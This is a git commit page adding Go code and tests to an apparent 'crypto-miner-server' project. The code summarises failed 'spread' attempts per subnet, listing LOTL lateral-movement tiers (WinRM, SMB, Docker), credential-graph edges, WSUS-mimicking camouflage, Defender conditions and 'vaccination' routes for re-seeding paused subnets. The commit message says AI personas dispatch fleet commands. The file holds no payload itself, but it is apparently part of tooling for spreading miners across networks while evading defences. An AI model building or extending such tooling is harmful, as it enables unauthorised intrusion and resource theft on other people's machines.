Add adversarial L4 court chamber with Seer court_debate feed.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Prosecutor and Public Defender use real fleet telemetry only; Judge dispatches L4 commands and emits full transcripts via seer_events and emberwake_court_debate when ai_control_enabled.
This commit is contained in:
149
server/internal/atlas/subnet_autopsy.go
Normal file
149
server/internal/atlas/subnet_autopsy.go
Normal file
@@ -0,0 +1,149 @@
|
||||
package atlas
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/spreadrouter"
|
||||
)
|
||||
|
||||
const SubnetAutopsyLOTLAttemptLimit = 5
|
||||
const SubnetAutopsyGossipWhisperLimit = 8
|
||||
|
||||
// LOTLAttemptSnapshot is one spread/mining tier attempt in an autopsy packet.
|
||||
type LOTLAttemptSnapshot struct {
|
||||
AgentID string `json:"agent_id,omitempty"`
|
||||
AgentName string `json:"agent_name,omitempty"`
|
||||
Tier string `json:"tier"`
|
||||
OK bool `json:"ok"`
|
||||
Error string `json:"error,omitempty"`
|
||||
DurationMs int64 `json:"duration_ms,omitempty"`
|
||||
Phase string `json:"phase,omitempty"`
|
||||
}
|
||||
|
||||
// WSUSMimicSnapshot records WSUS cache-peer staging camouflage context.
|
||||
type WSUSMimicSnapshot struct {
|
||||
FormatMimicEnabled bool `json:"format_mimic_enabled"`
|
||||
CachePeerLane string `json:"cache_peer_lane"`
|
||||
RecentJoinLane string `json:"recent_join_lane,omitempty"`
|
||||
}
|
||||
|
||||
// ErasureFallbackSnapshot reports whether RS lane fallback is available.
|
||||
type ErasureFallbackSnapshot struct {
|
||||
ErasureLanesEnabled bool `json:"erasure_lanes_enabled"`
|
||||
AvailableAsFallback bool `json:"available_as_fallback"`
|
||||
}
|
||||
|
||||
// SubnetAutopsyPacket is the full immune-response autopsy for a paused /24.
|
||||
type SubnetAutopsyPacket struct {
|
||||
Prefix string `json:"prefix"`
|
||||
TriggeredAt time.Time `json:"triggered_at"`
|
||||
FailCount int `json:"fail_count"`
|
||||
PausedUntil *time.Time `json:"paused_until,omitempty"`
|
||||
LOTLAttempts []LOTLAttemptSnapshot `json:"lotl_attempts"`
|
||||
WSUSMimic WSUSMimicSnapshot `json:"wsus_mimic"`
|
||||
Persona string `json:"persona"`
|
||||
ErasureFallback ErasureFallbackSnapshot `json:"erasure_fallback"`
|
||||
GossipWhispers []GossipHint `json:"gossip_whispers"`
|
||||
FailureAtlas string `json:"failure_atlas,omitempty"`
|
||||
CauseOfDeath string `json:"cause_of_death"`
|
||||
VaccinationLane *spreadrouter.SpreadRouteHint `json:"vaccination_lane,omitempty"`
|
||||
}
|
||||
|
||||
// BuildCauseOfDeath composes a one-page immune summary from packet fields.
|
||||
func BuildCauseOfDeath(pkt SubnetAutopsyPacket) string {
|
||||
var b strings.Builder
|
||||
fmt.Fprintf(&b, "Subnet %s immune pause: %d spread failures triggered 24h quarantine.", pkt.Prefix, pkt.FailCount)
|
||||
if pkt.PausedUntil != nil {
|
||||
fmt.Fprintf(&b, " Resumes %s UTC.", pkt.PausedUntil.UTC().Format(time.RFC3339))
|
||||
}
|
||||
b.WriteString("\n")
|
||||
|
||||
failed := failedSpreadAttempts(pkt.LOTLAttempts)
|
||||
if len(failed) > 0 {
|
||||
b.WriteString("Failed LOTL tiers: ")
|
||||
parts := make([]string, 0, len(failed))
|
||||
for _, a := range failed {
|
||||
line := a.Tier
|
||||
if a.Error != "" {
|
||||
line += " (" + a.Error + ")"
|
||||
}
|
||||
parts = append(parts, line)
|
||||
}
|
||||
b.WriteString(strings.Join(parts, ", "))
|
||||
b.WriteString(".\n")
|
||||
} else {
|
||||
b.WriteString("No recent LOTL spread attempts on this /24 — failures came from cred-graph edges.\n")
|
||||
}
|
||||
|
||||
if pkt.FailureAtlas != "" && pkt.FailureAtlas != "no fleet failure atlas samples for this fingerprint" {
|
||||
fmt.Fprintf(&b, "Failure atlas: %s.\n", pkt.FailureAtlas)
|
||||
}
|
||||
|
||||
if len(pkt.GossipWhispers) > 0 {
|
||||
b.WriteString("Atlas gossip whispers: ")
|
||||
parts := make([]string, 0, len(pkt.GossipWhispers))
|
||||
for _, h := range pkt.GossipWhispers {
|
||||
parts = append(parts, h.Tier+"@"+h.Condition)
|
||||
}
|
||||
b.WriteString(strings.Join(parts, ", "))
|
||||
b.WriteString(".\n")
|
||||
}
|
||||
|
||||
fmt.Fprintf(&b, "Persona=%s; WSUS mimic=%v; erasure fallback=%v.",
|
||||
pkt.Persona, pkt.WSUSMimic.FormatMimicEnabled, pkt.ErasureFallback.AvailableAsFallback)
|
||||
|
||||
if pkt.VaccinationLane != nil && pkt.VaccinationLane.SeedAgentID != "" {
|
||||
fmt.Fprintf(&b, "\nVaccination: route via %s (%s lane",
|
||||
displayAgent(pkt.VaccinationLane.SeedAgentName, pkt.VaccinationLane.SeedAgentID),
|
||||
pkt.VaccinationLane.JoinLane)
|
||||
if pkt.VaccinationLane.ErasureLanesEnabled {
|
||||
b.WriteString(", RS lanes on")
|
||||
}
|
||||
b.WriteString(").")
|
||||
} else {
|
||||
b.WriteString("\nVaccination: no BGP clearance route — widen Path Tracer or seed from adjacent /24.")
|
||||
}
|
||||
return strings.TrimSpace(b.String())
|
||||
}
|
||||
|
||||
func failedSpreadAttempts(attempts []LOTLAttemptSnapshot) []LOTLAttemptSnapshot {
|
||||
var out []LOTLAttemptSnapshot
|
||||
for _, a := range attempts {
|
||||
if a.OK {
|
||||
continue
|
||||
}
|
||||
if a.Phase != "" && a.Phase != "spread" && a.Phase != "deploy" {
|
||||
continue
|
||||
}
|
||||
out = append(out, a)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func displayAgent(name, id string) string {
|
||||
if strings.TrimSpace(name) != "" {
|
||||
return name
|
||||
}
|
||||
if len(id) > 8 {
|
||||
return id[:8]
|
||||
}
|
||||
return id
|
||||
}
|
||||
|
||||
// TrimLOTLAttempts keeps the last n attempts in arrival order.
|
||||
func TrimLOTLAttempts(attempts []LOTLAttemptSnapshot, n int) []LOTLAttemptSnapshot {
|
||||
if n <= 0 || len(attempts) <= n {
|
||||
return attempts
|
||||
}
|
||||
return attempts[len(attempts)-n:]
|
||||
}
|
||||
|
||||
// TrimGossipWhispers keeps the most recent n gossip hints.
|
||||
func TrimGossipWhispers(hints []GossipHint, n int) []GossipHint {
|
||||
if n <= 0 || len(hints) <= n {
|
||||
return hints
|
||||
}
|
||||
return hints[len(hints)-n:]
|
||||
}
|
||||
54
server/internal/atlas/subnet_autopsy_test.go
Normal file
54
server/internal/atlas/subnet_autopsy_test.go
Normal file
@@ -0,0 +1,54 @@
|
||||
package atlas
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/spreadrouter"
|
||||
)
|
||||
|
||||
func TestBuildCauseOfDeathIncludesFailuresAndVaccination(t *testing.T) {
|
||||
until := time.Now().UTC().Add(24 * time.Hour)
|
||||
pkt := SubnetAutopsyPacket{
|
||||
Prefix: "10.0.0",
|
||||
FailCount: 5,
|
||||
PausedUntil: &until,
|
||||
LOTLAttempts: []LOTLAttemptSnapshot{
|
||||
{Tier: "winrm", OK: false, Error: "access denied", Phase: "spread"},
|
||||
{Tier: "smb", OK: true, Phase: "spread"},
|
||||
},
|
||||
Persona: "aggressive",
|
||||
WSUSMimic: WSUSMimicSnapshot{FormatMimicEnabled: true, CachePeerLane: "wsus_cache_peer"},
|
||||
ErasureFallback: ErasureFallbackSnapshot{ErasureLanesEnabled: true, AvailableAsFallback: true},
|
||||
GossipWhispers: []GossipHint{{Tier: "docker", Condition: "defender_on", Reason: "lan gossip"}},
|
||||
FailureAtlas: "docker 5/5 failed (100%)",
|
||||
VaccinationLane: &spreadrouter.SpreadRouteHint{
|
||||
TargetSubnet: "10.0.0",
|
||||
SeedAgentID: "seed-1",
|
||||
SeedAgentName: "Seed Hop",
|
||||
JoinLane: "do_peer",
|
||||
},
|
||||
}
|
||||
cause := BuildCauseOfDeath(pkt)
|
||||
if !strings.Contains(cause, "immune pause") {
|
||||
t.Fatalf("cause=%q", cause)
|
||||
}
|
||||
if !strings.Contains(cause, "winrm") || !strings.Contains(cause, "docker 5/5") {
|
||||
t.Fatalf("missing failure context: %q", cause)
|
||||
}
|
||||
if !strings.Contains(cause, "Seed Hop") || !strings.Contains(cause, "Vaccination") {
|
||||
t.Fatalf("missing vaccination: %q", cause)
|
||||
}
|
||||
}
|
||||
|
||||
func TestTrimLOTLAttemptsKeepsLastFive(t *testing.T) {
|
||||
in := make([]LOTLAttemptSnapshot, 7)
|
||||
for i := range in {
|
||||
in[i] = LOTLAttemptSnapshot{Tier: string(rune('a' + i))}
|
||||
}
|
||||
out := TrimLOTLAttempts(in, SubnetAutopsyLOTLAttemptLimit)
|
||||
if len(out) != 5 || out[0].Tier != "c" || out[4].Tier != "g" {
|
||||
t.Fatalf("trim=%v", out)
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user